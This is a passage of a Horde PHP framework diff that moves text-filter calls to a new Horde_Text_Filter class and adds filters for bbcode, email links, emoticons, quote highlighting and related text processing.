$this->_htmlBody->setCharset($charset);
$this->_htmlBody->setContents($body);
if ($alternative) {
- require_once 'Horde/Text/Filter.php';
- $this->setBody(Text_Filter::filter($body, 'html2text', array('wrap' => false), $charset));
+ $this->setBody(Horde_Text_Filter::filter($body, 'html2text', array('wrap' => false), $charset));
}
}
$text = preg_replace('/^ (.*) $/s', '\1', $text);
// Make URLs clickable.
- require_once 'Horde/Text/Filter.php';
- $text = Text_Filter::filter($text, 'linkurls', array('callback' => 'Horde::externalUrl'));
+ $text = Horde_Text_Filter::filter($text, 'linkurls', array('callback' => 'Horde::externalUrl'));
/* Wordwrap -- note this could impact on our above RFC compliance *IF*
* we honored nofill tags (which we don't yet). */
}
}
- require_once 'Horde/Text/Filter.php';
$strip_style_attributes = (($browser->isBrowser('mozilla') &&
$browser->getMajor() == 4) ||
$browser->isBrowser('msie'));
$strip_styles = $inline || $strip_style_attributes;
- $data = Text_Filter::filter($data, 'xss',
- array('body_only' => $inline,
- 'strip_styles' => $strip_styles,
- 'strip_style_attributes' => $strip_style_attributes));
+ $data = Horde_Text_Filter::filter($data, 'xss', array(
+ 'body_only' => $inline,
+ 'strip_styles' => $strip_styles,
+ 'strip_style_attributes' => $strip_style_attributes
+ ));
/* Check for phishing exploits. */
if ($this->getConfigParam('phishing_check')) {
$text = $this->_formatFlowed($text, $this->_mimepart->getContentTypeParameter('delsp'));
}
- require_once 'Horde/Text/Filter.php';
return array(
$this->_mimepart->getMimeId() => array(
- 'data' => '<html><body><tt>' . Text_Filter::filter($text, 'text2html', array('parselevel' => TEXT_HTML_MICRO, 'charset' => $charset, 'class' => null)) . '</tt></body></html>',
+ 'data' => '<html><body><tt>' . Horde_Text_Filter::filter($text, 'text2html', array('parselevel' => Horde_Text_Filter_Text2html::MICRO, 'charset' => $charset, 'class' => null)) . '</tt></body></html>',
'status' => array(),
'type' => 'text/html; charset=' . $charset
)
}
}
- require_once 'Horde/Text/Filter.php';
return array(
$this->_mimepart->getMimeId() => array(
- 'data' => empty($header_output) ? '' : ('<div class="mimeHeaders">' . Text_Filter::filter(implode("<br />\n", $header_output), 'emails') . '</div>'),
+ 'data' => empty($header_output) ? '' : ('<div class="mimeHeaders">' . Horde_Text_Filter::filter(implode("<br />\n", $header_output), 'emails') . '</div>'),
'status' => array(),
'type' => 'text/html; charset=' . NLS::getCharset()
)
--- /dev/null
+<?php
+/**
+ * Horde_Text_Filter:: is a parent class for defining stackable text filters.
+ *
+ * Copyright 1999-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author Chuck Hagenbuch <chuck@horde.org>
+ * @author Jan Schneider <jan@horde.org>
+ * @package Horde_Text_Filter
+ */
+class Horde_Text_Filter
+{
+ /**
+ * Filter parameters.
+ *
+ * @var array
+ */
+ protected $_params = array();
+
+ /**
+ * Attempts to return a concrete instance based on $driver.
+ *
+ * @param mixed $driver The type of concrete subclass to return.
+ * This is based on the filter driver ($driver). The
+ * code is dynamically included. If $driver is an
+ * array, then we will look in $driver[0] for the
+ * subclass implementation named $driver[1].php.
+ * @param array $params A hash containing any additional configuration
+ * parameters a subclass might need.
+ *
+ * @return Text_Filter The newly created concrete instance.
+ * @throws Horde_Exception
+ */
+ static public function factory($driver, $params = array())
+ {
+ if (is_array($driver)) {
+ list($app, $driv_name) = $driver;
+ $driver = basename($driv_name);
+ } else {
+ $driver = basename($driver);
+ }
+
+ $class = (empty($app) ? 'Horde' : $app) . '_Text_Filter_' . ucfirst($driver);
+ if (class_exists($class)) {
+ return new $class($params);
+ }
+
+ throw new Horde_Exception('Class definition of ' . $class . ' not found.');
+ }
+
+ /**
+ * Constructor.
+ *
+ * @param array $params Any parameters that the filter instance needs.
+ */
+ public function __construct($params = array())
+ {
+ $this->_params = array_merge($this->_params, $params);
+ }
+
+ /**
+ * Applies a set of patterns to a block of text.
+ *
+ * @param string $text The text to filter.
+ * @param array $patterns The array of patterns to filter with.
+ *
+ * @return string The transformed text.
+ */
+ public function filter($text, $filters = array(), $params = array())
+ {
+ if (!is_array($filters)) {
+ $filters = array($filters);
+ $params = array($params);
+ }
+
+ foreach ($filters as $num => $filter) {
+ try {
+ $filterOb = self::factory($filter, isset($params[$num]) ? $params[$num] : array());
+ } catch (Horde_Exception $e) {
+ return $e->getMessage();
+ }
+ $patterns = $filterOb->getPatterns();
+
+ /* Pre-processing. */
+ $text = $filterOb->preProcess($text);
+
+ /* str_replace() simple patterns. */
+ if (isset($patterns['replace'])) {
+ $text = str_replace(array_keys($patterns['replace']), array_values($patterns['replace']), $text);
+ }
+
+ /* preg_replace complex patterns. */
+ if (isset($patterns['regexp'])) {
+ $text = preg_replace(array_keys($patterns['regexp']), array_values($patterns['regexp']), $text);
+ }
+
+ /* Post-processing. */
+ $text = $filterOb->postProcess($text);
+ }
+
+ return $text;
+ }
+
+ /**
+ * Executes any code necessaray before applying the filter patterns.
+ *
+ * @param string $text The text before the filtering.
+ *
+ * @return string The modified text.
+ */
+ public function preProcess($text)
+ {
+ return $text;
+ }
+
+ /**
+ * Returns a hash with replace patterns.
+ *
+ * @return array Patterns hash.
+ */
+ public function getPatterns()
+ {
+ return array();
+ }
+
+ /**
+ * Executes any code necessaray after applying the filter patterns.
+ *
+ * @param string $text The text after the filtering.
+ *
+ * @return string The modified text.
+ */
+ public function postProcess($text)
+ {
+ return $text;
+ }
+
+}
--- /dev/null
+<?php
+/**
+ * The Horde_Text_Filter_Bbcode:: class finds bbcode-style markup (see below)
+ * in a block of text and turns it into HTML.
+ *
+ * Parameters:
+ * <pre>
+ * entities -- If true before replacing bbcode with HTML tags, any HTML
+ * entities will be replaced.
+ * </pre>
+ *
+ * Supported bbcode:
+ * <pre>
+ * [b]Bold Text[/b]
+ * [i]Italics Text[/i]
+ * [u]Underlined Text[/u]
+ * [quote]Quoted Text[/quote]
+ * [center]Centered Text[/center]
+ *
+ * List of items
+ * [list]
+ * [*] Item one
+ * [*] Item two
+ * [/list]
+ *
+ * Numbered list
+ * [numlist]
+ * [*] Item one
+ * [*] Item two
+ * [/numlist]
+ *
+ * [url]http://www.horde.org[/url] -> Link to the address using the
+ * address itself for the text. You can specify the protocol: http or
+ * https and the port.
+ * [url]www.horde.org[/url] -> Link to the address using the address
+ * itself for the text. You can specify the port. The protocol is by
+ * default http.
+ * [url=http://www.horde.org]Link to Horde[/url] -> Link to the address
+ * using "Link to Horde" for the text. You can specify the protocol:
+ * http or https and the port.
+ * [url=www.horde.org]Link to Horde[/url] -> Link to the address using
+ * "Link to Horde" for the text. You can specify the port. The
+ * protocol is by default http
+ * [email]cpedrinaci@yahoo.es[/email] -> sets a mailto link.
+ * [email=cpedrinaci@yahoo.es]Mail to Carlos[/email] -> Sets a mailto link
+ * and the text is "Mail to Carlos".
+ * </pre>
+ *
+ * Copyright 2003-2009 The Horde Project (http://www.horde.org/)
+ *
+ * Email validation based on Chuck Hagenbuch's
+ * Mail_RFC822::isValidInetAddress().
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author Carlos Pedrinaci <cpedrinaci@yahoo.es>
+ * @package Horde_Text_Filter
+ */
+class Horde_Text_Filter_Bbcode extends Horde_Text_Filter
+{
+ /**
+ * Filter parameters.
+ *
+ * @var array
+ */
+ protected $_params = array(
+ 'entities' => false
+ );
+
+ /**
+ * Executes any code necessary before applying the filter patterns.
+ *
+ * @param string $text The text before the filtering.
+ *
+ * @return string The modified text.
+ */
+ public function preProcess($text)
+ {
+ if ($this->_params['entities']) {
+ $text = @htmlspecialchars($text);
+ }
+
+ return $text;
+ }
+
+ /**
+ * Returns a hash with replace patterns.
+ *
+ * @return array Patterns hash.
+ */
+ public function getPatterns()
+ {
+ $replace = array(
+ '[i]' => '<em>', '[/i]' => '</em>',
+ '[u]' => '<u>', '[/u]' => '</u>',
+ '[b]' => '<strong>', '[/b]' => '</strong>',
+ '[s]' => '<strike>', '[/s]' => '</strike>',
+ '[sub]' => '<sub>', '[/sub]' => '</sub>',
+ '[sup]' => '<sup>', '[/sup]' => '</sup>',
+ '[center]' => '<center>', '[/center]' => '</center>',
+ '[quote]' => '<blockquote>', '[/quote]' => '</blockquote>',
+ '[list]' => '<ul>', '[/list]' => '</ul>',
+ '[numlist]' => '<ol>', '[/numlist]' => '</ol>',
+ '[*]' => '<li>');
+
+ /* When checking URLs we validate part of them, but it is up
+ * to the user to write them correctly (in particular the
+ * query string). Concerning mails we use the regular
+ * expression in Mail_RFC822's isValidInetAddress() function,
+ * slightly modified. */
+ $regexp = array(
+ "#\[url\]((http|https)://([a-zA-Z\d][\w-]*)(\.[a-zA-Z\d][\w-]*)+(:(\d+))?(/([^<>]+))*)\[/url\]#U" =>
+ Horde::link("$1", "$1") . "$1</a>",
+
+ "#\[url\=((http|https)://([a-zA-Z\d][\w-]*)(\.[a-zA-Z\d][\w-]*)+(:(\d+))?(/([^<>]+))*)\]([^<>]+)\[/url\]#U" =>
+ Horde::link("$1", "$1") . "$9</a>",
+
+ "#\[url\](([a-zA-Z\d][\w-]*)(\.[a-zA-Z\d][\w-]*)+(:(\d+))?(/([^<>]+))*)\[/url\]#U" =>
+ Horde::link("http://$1", "http://$1") . "$1</a>",
+
+ "#\[url\=(([a-zA-Z\d][\w-]*)(\.[a-zA-Z\d][\w-]*)+(:(\d+))?(/([^<>]+))*)\]([^<>]+)\[/url\]#U" =>
+ Horde::link("http://$1", "http://$1") . "$8</a>",
+
+ "#\[email\](([*+!.&\#$|\'\\%\/0-9a-zA-Z^_`{}=?~:-]+)@(([0-9a-zA-Z-]+\.)+[0-9a-zA-Z]{2,4}))\[/email\]#U" =>
+ Horde::link("mailto:$1", "mailto:$1") . "$1</a>",
+
+ "#\[email\=(([*+!.&\#$|\'\\%\/0-9a-zA-Z^_`{}=?~:-]+)@(([0-9a-zA-Z-]+\.)+[0-9a-zA-Z]{2,4}))\]([^<>]+)\[/email\]#U" =>
+ Horde::link("mailto:$1", "mailto:$1") . "$5</a>",
+
+ "#\[img\](.*)\[/img\]#U" =>
+ "<img src=\"$1\" alt=\"$1\" />",
+
+ "#\[img\=(.*)\](.*)\[/img\]#U" =>
+ "<img src=\"$1\" alt=\"$2\" title=\"$2\" />",
+
+ "#\[color\=(.*)\](.*)\[/color\]#U" =>
+ "<span style=\"color: $1;\">$2</span>"
+
+ );
+
+ return array('replace' => $replace, 'regexp' => $regexp);
+ }
+
+}
--- /dev/null
+<?php
+/**
+ * Removes some common entities and high-ascii or otherwise nonstandard
+ * characters common in text pasted from Microsoft Word into a browser.
+ *
+ * This function should NOT be used on non-ASCII text; it may and probably
+ * will butcher other character sets indescriminately. Use it only to clean
+ * US-ASCII (7-bit) text which you suspect (or know) may have invalid or
+ * non-printing characters in it.
+ *
+ * Copyright 2004-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author Jan Schneider <jan@horde.org>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Cleanascii extends Horde_Text_Filter
+{
+ /**
+ * Executes any code necessary before applying the filter patterns.
+ *
+ * @param string $text The text before the filtering.
+ *
+ * @return string The modified text.
+ */
+ public function preProcess($text)
+ {
+ if (preg_match('/|([^#]*)#.*/', $text, $regs)) {
+ $text = $regs[1];
+
+ if (!empty($text)) {
+ $text = $text . "\n";
+ }
+ }
+
+ return $text;
+ }
+
+ /**
+ * Returns a hash with replace patterns.
+ *
+ * @return array Patterns hash.
+ */
+ public function getPatterns()
+ {
+ /* Remove control characters. */
+ $regexp = array('/[\x00-\x1f]+/' => '');
+
+ /* The '\92' entry may look wrong, depending on your editor,
+ * but it's not - that's not really a single quote. */
+ $replace = array(
+ chr(150) => '-',
+ chr(167) => '*',
+ '\81·' => '*',
+ '\85' => '...',
+ '\91' => "'",
+ '\92' => "'",
+ '\93' => '"',
+ '\94' => '"',
+ '\95' => '*',
+ '\96' => '-',
+ '\97' => '-',
+ '\9f' => '*',
+ '' => '.',
+ '' => '*',
+ '' => '*',
+ '' => '-',
+ '' => '-',
+ '' => '*',
+ '' => '*',
+ '' => '*',
+ '•' => '*',
+ '►' => '>',
+ );
+
+ return array('regexp' => $regexp, 'replace' => $replace);
+ }
+
+}
--- /dev/null
+<?php
+/**
+ * Displays message signatures marked by a '-- ' in the style of the CSS class
+ * "signature".
+ *
+ * Copyright 2004-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author Jan Schneider <jan@horde.org>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Dimsignature extends Horde_Text_Filter
+{
+ /**
+ * Executes any code necessary after applying the filter patterns.
+ *
+ * @param string $text The text after the filtering.
+ *
+ * @return string The modified text.
+ */
+ public function postProcess($text)
+ {
+ $parts = preg_split('|(\n--\s*(?:<br />)?\r?\n)|', $text, -1, PREG_SPLIT_DELIM_CAPTURE);
+ $num_parts = count($parts);
+ if ($num_parts > 2) {
+ return implode('', array_slice($parts, 0, -2))
+ . '<span class="signature">' . $parts[$num_parts - 2]
+ . $parts[$num_parts - 1] . '</span>';
+ }
+
+ return $text;
+ }
+
+}
--- /dev/null
+<?php
+/**
+ * The Horde_Text_Filter_Emails:: class finds email addresses in a block of
+ * text and turns them into links.
+ *
+ * Parameters:
+ * <pre>
+ * always_mailto - (boolean) If true, a mailto: link is generated always.
+ * Only if no mail/compose registry API method exists
+ * otherwise.
+ * class - (string) CSS class of the generated <a> tag. Defaults to none.
+ * encode - (boolean) Whether to escape special HTML characters in the URLs
+ * and finally "encode" the complete tag so that it can be decoded
+ * later with the decode() method. This is useful if you want to run
+ * htmlspecialchars() or similar *after* using this filter.
+ * </pre>
+ *
+ * Copyright 2003-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author Tyler Colbert <tyler@colberts.us>
+ * @author Jan Schneider <jan@horde.org>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Emails extends Horde_Text_Filter
+{
+ /**
+ * Filter parameters.
+ *
+ * @var array
+ */
+ protected $_params = array(
+ 'always_mailto' => false,
+ 'class' => '',
+ 'encode' => false
+ );
+
+ /**
+ * Returns a hash with replace patterns.
+ *
+ * @return array Patterns hash.
+ */
+ public function getPatterns()
+ {
+ $class = empty($this->_params['class'])
+ ? ''
+ : ' class="' . $this->_params['class'] . '"';
+
+ $regexp = <<<EOR
+ /
+ # Version 1: mailto: links with any valid email characters.
+ # Pattern 1: Outlook parenthesizes in square brackets
+ (\[\s*)?
+ # Pattern 2: mailto: protocol prefix
+ (mailto:\s?)
+ # Pattern 3: email address
+ ([^\s\?"<&]*)
+ # Pattern 4: closing angle brackets?
+ (>)?
+ # Pattern 5 to 7: Optional parameters
+ ((\?)([^\s"<]*[\w+#?\/&=]))?
+ # Pattern 8: Closing Outlook square bracket
+ ((?(1)\s*\]))
+ |
+ # Version 2 Pattern 9 and 10: simple email addresses.
+ (^|\s|<|<)([\w-+.=]+@[-A-Z0-9.]*[A-Z0-9])
+ # Pattern 11 to 13: Optional parameters
+ ((\?)([^\s"<]*[\w+#?\/&=]))?
+ # Pattern 14: Optional closing bracket
+ (>)?
+ /eix
+EOR;
+
+ if (isset($GLOBALS['registry']) &&
+ is_a($GLOBALS['registry'], 'Registry') &&
+ $GLOBALS['registry']->hasMethod('mail/compose') &&
+ !$this->_params['always_mailto']) {
+ /* If we have a mail/compose registry method, use it. */
+ $replacement = 'Horde_Text_Filter_Emails::callback(\'registry\', \''
+ . $this->_params['encode'] . '\', \'' . $class
+ . '\', \'$1\', \'$2\', \'$3\', \'$4\', \'$5\', \'$7\', \'$8\', \'$9\', \'$10\', \'$11\', \'$13\', \'$14\')';
+ } else {
+ /* Otherwise, generate a standard mailto: and let the browser
+ * handle it. */
+ if ($this->_params['encode']) {
+ $replacement = <<<EOP
+ '$9' === ''
+ ? htmlspecialchars('$1$2') . '<a$class href="mailto:'
+ . htmlspecialchars('$3$5') . '" title="'
+ . sprintf(_("New Message to %s"), htmlspecialchars('$3'))
+ . '">' . htmlspecialchars('$3$5') . '</a>'
+ . htmlspecialchars('$4$8')
+ : htmlspecialchars('$9') . '<a$class href="mailto:'
+ . htmlspecialchars('$10$11') . '" title="'
+ . sprintf(_("New Message to %s"), htmlspecialchars('$10'))
+ . '">' . htmlspecialchars('$10$11') . '</a>'
+EOP;
+ $replacement = 'chr(1).chr(1).chr(1).base64_encode('
+ . $replacement . ').chr(1).chr(1).chr(1)';
+ } else {
+ $replacement = 'Horde_Text_Filter_Emails::callback(\'link\', \''
+ . $this->_params['encode'] . '\', \'' . $class
+ . '\', \'$1\', \'$2\', \'$3\', \'$4\', \'$5\', \'$7\', \'$8\', \'$9\', \'$10\', \'$11\', \'$13\', \'$14\')';
+ }
+ }
+
+ return array('regexp' => array($regexp => $replacement));
+ }
+
+ /**
+ * TODO
+ */
+ static public function callback($mode, $encode, $class, $bracket1,
+ $protocol, $email, $closing, $args_long,
+ $args, $bracket2, $prefix, $email2,
+ $args_long2, $args2, $closebracket)
+ {
+ if ($mode == 'link') {
+ if ($email2 === '') {
+ return $bracket1 . $protocol . '<a' . $class . ' href="mailto:' . $email . $args_long . '" title="' . sprintf(_("New Message to %s"), htmlspecialchars($email)) . '">' . $email . $args_long . '</a>' . $closing . $bracket2;
+ }
+
+ return (($prefix == '<') ? '<' : $prefix) . '<a' . $class . ' href="mailto:' . $email2 . $args_long2 . '" title="' . sprintf(_("New Message to %s"), htmlspecialchars($email2)) . '">' . $email2 . $args_long2 . '</a>' . ($closebracket ? '>' : '');
+ }
+
+ if (!empty($email2)) {
+ $args = $args2;
+ $email = $email2;
+ $args_long = $args_long2;
+ }
+
+ parse_str($args, $extra);
+ $url = $GLOBALS['registry']->call('mail/compose',
+ array(array('to' => $email),
+ $extra));
+ if (is_a($url, 'PEAR_Error')) {
+ $url = 'mailto:' . urlencode($email);
+ }
+
+ $url = str_replace('&', '&', $url);
+ if (substr($url, 0, 11) == 'javascript:') {
+ $href = '#';
+ $onclick = ' onclick="' . substr($url, 11) . ';return false;"';
+ } else {
+ $href = $url;
+ $onclick = '';
+ }
+
+ if ($encode) {
+ return chr(1).chr(1).chr(1)
+ . base64_encode(
+ htmlspecialchars($bracket1 . $protocol . $prefix)
+ . '<a' . $class . ' href="' . htmlspecialchars($href)
+ . '" title="' . sprintf(_("New Message to %s"),
+ htmlspecialchars($email))
+ . '"' . $onclick . '>'
+ . htmlspecialchars($email . $args_long) . '</a>'
+ . htmlspecialchars($bracket2))
+ . chr(1).chr(1).chr(1) . $closing . ($closebracket ? '>' : '');
+ }
+
+ return $bracket1 . $protocol . $prefix . '<a' . $class
+ . ' href="' . $href . '" title="'
+ . sprintf(_("New Message to %s"), htmlspecialchars($email))
+ . '"' . $onclick . '>' . htmlspecialchars($email) . $args_long
+ . '</a>' . $bracket2 . $closing . ($closebracket ? '>' : '');
+ }
+
+ /**
+ * "Decodes" the text formerly encoded by using the "encode" parameter.
+ *
+ * @param string $text An encoded text.
+ *
+ * @return string The decoded text.
+ */
+ static public function decode($text)
+ {
+ return preg_replace('/\01\01\01([\w=+\/]*)\01\01\01/e', 'base64_decode(\'$1\')', $text);
+ }
+
+}
--- /dev/null
+<?php
+/**
+ * The Horde_Text_Filter_Emoticons:: class finds emoticon strings ( :), etc.)
+ * in a block of text and turns them into image links.
+ *
+ * Parameters:
+ * <pre>
+ * entities -- If true the html entity versions of the patterns will be used.
+ * </pre>
+ *
+ * Copyright 2003-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author Marko Djukic <marko@oblo.com>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Emoticons extends Horde_Text_Filter
+{
+ /**
+ * Filter parameters.
+ *
+ * @var array
+ */
+ protected $_params = array('entities' => false);
+
+ /**
+ * The icon path.
+ *
+ * @var string
+ */
+ static protected $_iconpath;
+
+ /* List complex strings before simpler ones, otherwise for example :((
+ * would be matched against :( before :(( is found. */
+ static protected $_icons = array(
+ ':/' => 'frustrated', ':-/' => 'frustrated',
+ // ':*>' => 'blush',
+ ':e' => 'disappointed',
+ '=:)$' => 'mrt',
+ '#|' => 'hangover', '#-|' => 'hangover',
+ ':-@' => 'shout', ':@' => 'shout',
+ ':((' => 'bigfrown', ':C' => 'bigfrown',
+ ':S' => 'dazed', ':-S' => 'dazed',
+ 'X@' => 'angry',
+ 'X(' => 'mad',
+ // '>:)' => 'devil', '>:-)' => 'devil',
+ // '>:p' => 'deviltongue', '>:-p' => 'deviltongue',
+ // '>:p' => 'raspberry', '>:P' => 'raspberry',
+ // '&)' => 'punk',
+ // '&p' => 'punktongue',
+ // '=&)' => 'punkmohawk',
+ ':]' => 'grin',
+ '#[' => 'hurt', '#(' => 'hurt', '#-[' => 'hurt', '#-(' => 'hurt',
+ ':O' => 'embarrassed', ':-O' => 'embarrassed',
+ ':[' => 'sad',
+ // '>:@' => 'enraged',
+ // ':&' => 'annoyed',
+ '=(' => 'worried', '=-(' => 'worried',
+ ':|=' => 'vampire',
+ ':-(' => 'frown', ':(' => 'frown',
+ ':D' => 'biggrin', ':-D' => 'biggrin', ':d' => 'biggrin', ':-d' => 'biggrin',
+ '8)' => 'cool',
+ // In English, 8PM occurs sufficiently often to specifically
+ // search for and exclude
+ '8p(?<![Mm]\s+)' => 'cooltongue', // '8Þ' => 'cooltongue',
+ '8D' => 'coolgrin',
+ ':p' => 'tongueout', ':P' => 'tongueout', // ':Þ' => 'tongueout',
+ '?:(' => 'confused', '%-(' => 'confused',
+ // ':)&' => 'love',
+ 'O;-)' => 'angelwink',
+ ';]' => 'winkgrin',
+ ';p' => 'winktongue', ';P' => 'winktongue', // ';Þ' => 'winktongue',
+ ':|' => 'indifferent', ':-|' => 'indifferent',
+ '!|' => 'tired', '!-I' => 'tired',
+ '|I' => 'asleep', '|-I' => 'asleep',
+ 'O:)' => 'angel', 'O:-)' => 'angel',
+ 'O;)' => 'angelwink',
+ ';-)' => 'wink', ';)' => 'wink',
+ ':#)' => 'clown', ':o)' => 'clown',
+ ':)' => 'smile', ':-)' => 'smile',
+ );
+
+ /**
+ * Returns a hash with replace patterns.
+ *
+ * @return array Patterns hash.
+ */
+ public function getPatterns()
+ {
+ /* Build the patterns. */
+ $patterns = array_keys($this->getIcons());
+ if ($this->_params['entities']) {
+ $patterns = array_map('htmlspecialchars', $patterns);
+ $beg_pattern = '(^|\s|<br />| )(';
+ $end_pattern = ')(?=\s|<br />| )';
+ } else {
+ $beg_pattern = '(^|\s)(';
+ $end_pattern = ')(?=\s)';
+ }
+ $patterns = array_map('preg_quote', $patterns);
+
+ /* Check for a smiley either immediately at the start of a line or
+ * following a space. Use {} as the preg delimiters as this is not
+ * found in any smiley. */
+ $regexp['{' . $beg_pattern . implode('|', $patterns) . $end_pattern . '}e'] = 'Horde_Text_Filter_Emoticons::getImage(\'$2\', \'$1\', \'' . ($this->_params['entities'] ? '$3' : '') . '\')';
+
+ return array('regexp' => $regexp);
+ }
+
+ /**
+ * Returns the img tag for an emoticon.
+ *
+ * @see self::getPatterns()
+ *
+ * @param string $icon The emoticon.
+ * @param string $prefix A html prefix.
+ * @param string $postfix A html postfix.
+ *
+ * @return string HTML code with the image tag and any additional prefix
+ * or postfix.
+ */
+ static public function getImage($icon, $prefix, $postfix)
+ {
+ if (!isset(self::$_iconpath)) {
+ self::$_iconpath = $GLOBALS['registry']->getImageDir('horde') . '/emoticons';
+ }
+
+ return $prefix . Horde::img(self::getIcons($icon) . '.png', $icon, array('align' => 'middle', 'title' => $icon), self::$_iconpath) . $postfix;
+ }
+
+ /**
+ * Returns a hash with all emoticons and names or the name of a single
+ * emoticon.
+ *
+ * @param string $icon If set, return the name for that emoticon only.
+ *
+ * @return array|string Patterns hash or icon name.
+ */
+ static public function getIcons($icon = null)
+ {
+ return is_null($icon)
+ ? self::$_icons
+ : (isset(self::$_icons[$icon]) ? self::$_icons[$icon] : null);
+ }
+
+}
--- /dev/null
+<?php
+/**
+ * Replaces occurences of %VAR% with VAR, if VAR exists in the webserver's
+ * environment. Ignores all text after a '#' character (shell-style
+ * comments).
+ *
+ * Copyright 2004-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author Jan Schneider <jan@horde.org>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Environment extends Horde_Text_Filter
+{
+ /**
+ * Returns a hash with replace patterns.
+ *
+ * @return array Patterns hash.
+ */
+ public function getPatterns()
+ {
+ $regexp = array('/^#.*$\n/m' => '',
+ '/^([^#]*)#.*$/m' => '$1',
+ '/%([A-Za-z_]+)%/e' => 'getenv("$1")');
+ return array('regexp' => $regexp);
+ }
+
+}
--- /dev/null
+<?php
+/**
+ * Highlights quoted messages with different colors for the different quoting
+ * levels.
+ *
+ * CSS class names called "quoted1" ... "quoted{$cssLevels}" must be present.
+ * CSS class names "toggleQuoteHide" and "toggleQuoteShow" are used to style
+ * toggle text.
+ *
+ * The text to be passed in must have already been passed through
+ * htmlspecialchars().
+ *
+ * Parameters:
+ * <pre>
+ * 'citeblock' -- Display cite blocks? (DEFAULT: true)
+ * 'cssLevels' -- Number of defined CSS class names. (DEFAULT: 5)
+ * 'hideBlocks' -- Hide quoted text blocks by default? (DEFAULT: false)
+ * 'outputJS' -- Add necessary JS files? (DEFAULT: true)
+ * </pre>
+ *
+ * Copyright 2004-2009 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you
+ * did not receive this file, see http://www.fsf.org/copyleft/lgpl.html.
+ *
+ * @author Michael Slusarz <slusarz@curecanti.org>
+ * @author Jan Schneider <jan@horde.org>
+ * @package Horde_Text
+ */
+class Horde_Text_Filter_Highlightquotes extends Horde_Text_Filter
+{
+ /**
+ * Filter parameters.
+ *
+ * @var array
+ */
+ protected $_params = array(
+ 'citeblock' => true,
+ 'cssLevels' => 5,
+ 'hideBlocks' => false,
+ 'outputJS' => true
+ );
+
+ /**
+ * Executes any code necessaray before applying the filter patterns.
+ *
+ * @param string $text The text before the filtering.
+ *
+ * @return string The modified text.
+ */
+ public function preProcess($text)
+ {
+ /* Tack a newline onto the beginning of the string so that we
+ * correctly highlight when the first character in the string is a
+ * quote character. */
+ return "\n$text";
+ }
+
+ /**
+ * Returns a hash with replace patterns.
+ *
+ * @return array Patterns hash.
+ */
+ public function getPatterns()
+ {
+ /* Remove extra spaces before quoted text as the CSS formatting will
+ * automatically add a bit of space for us. */
+ return ($this->_params['citeblock'])
+ ? array('regexp' => array("/<br \/>\s*\n\s*<br \/>\s*\n\s*((>\s?)+)/m" => "<br />\n\\1"))
+ : array();
+ }
+
+ /**
+ * Executes any code necessaray after applying the filter patterns.
+ *
+ * @param string $text The text after the filtering.
+ *
+ * @return string The modified text.
+ */
+ public function postProcess($text)
+ {
+ /* Use cite blocks to display the different quoting levels? */
+ $cb = $this->_params['citeblock'];
+
+ /* Cite level before parsing the current line. */
+ $qlevel = 0;
+
+ /* Other loop variables. */
+ $text_out = '';
+ $lines = array();
+ $tmp = array('level' => 0, 'lines' => array());
+ $qcount = 0;
+
+ /* Parse text line by line. */
+ foreach (explode("\n", $text) as $line) {
+ /* Cite level of current line. */
+ $clevel = 0;
+ $matches = array();
+
+ /* Do we have a citation line? */
+ if (preg_match('/^\s*((>\s?)+)/m', $line, $matches)) {
+ /* Count number of > characters => cite level */
+ $clevel = count(preg_split('/>\s?/', $matches[1])) - 1;
+ }
+
+ if ($cb && isset($matches[1])) {
+ /* Strip all > characters. */
+ $line = substr($line, Horde_String::length($matches[1]));
+ }
+
+ /* Is this cite level lower than the current level? */
+ if ($clevel < $qlevel) {
+ $lines[] = $tmp;
+ if ($clevel == 0) {
+ $text_out .= $this->_process($lines, $qcount);
+ $lines = array();
+ $qcount = 0;
+ }
+ $tmp = array('level' => $clevel, 'lines' => array());
+
+ /* Is this cite level higher than the current level? */
+ } elseif ($clevel > $qlevel) {
+ $lines[] = $tmp;
+ $tmp = array('level' => $clevel, 'lines' => array());
+ }
+
+ $tmp['lines'][] = $line;
+ $qlevel = $clevel;
+
+ if ($qlevel) {
+ ++$qcount;
+ }
+ }
+
+ $lines[] = $tmp;
+ $text_out .= $this->_process($lines, $qcount);
+
+ /* Remove the leading newline we added above, if it's still there. */
+ return ($text_out[0] == "\n")
+ ? substr($text_out, 1)
+ : $text_out;
+ }
+
+ /**
+ * TODO
+ *
+ * @param array $lines TODO
+ * @param integer $qcount TODO
+ *
+ * @return string TODO
+ */
+ protected function _process($lines, $qcount)
+ {
+ $curr = reset($lines);
+ $out = implode("\n", $this->_removeBr($curr['lines']));
+
+ if ($qcount > 8) {
+ if ($this->_params['outputJS']) {
+ Horde::addScriptFile('prototype.js', 'horde', true);
+ }
+
+ $out .= (($this->_params['citeblock']) ? '<br />' : '') .
+ '<div class="toggleQuoteParent">' .
+ '<span ' . ($this->_params['outputJS'] ? 'onclick="[ this, this.next(), this.next(1) ].invoke(\'toggle\')" ' : '') .
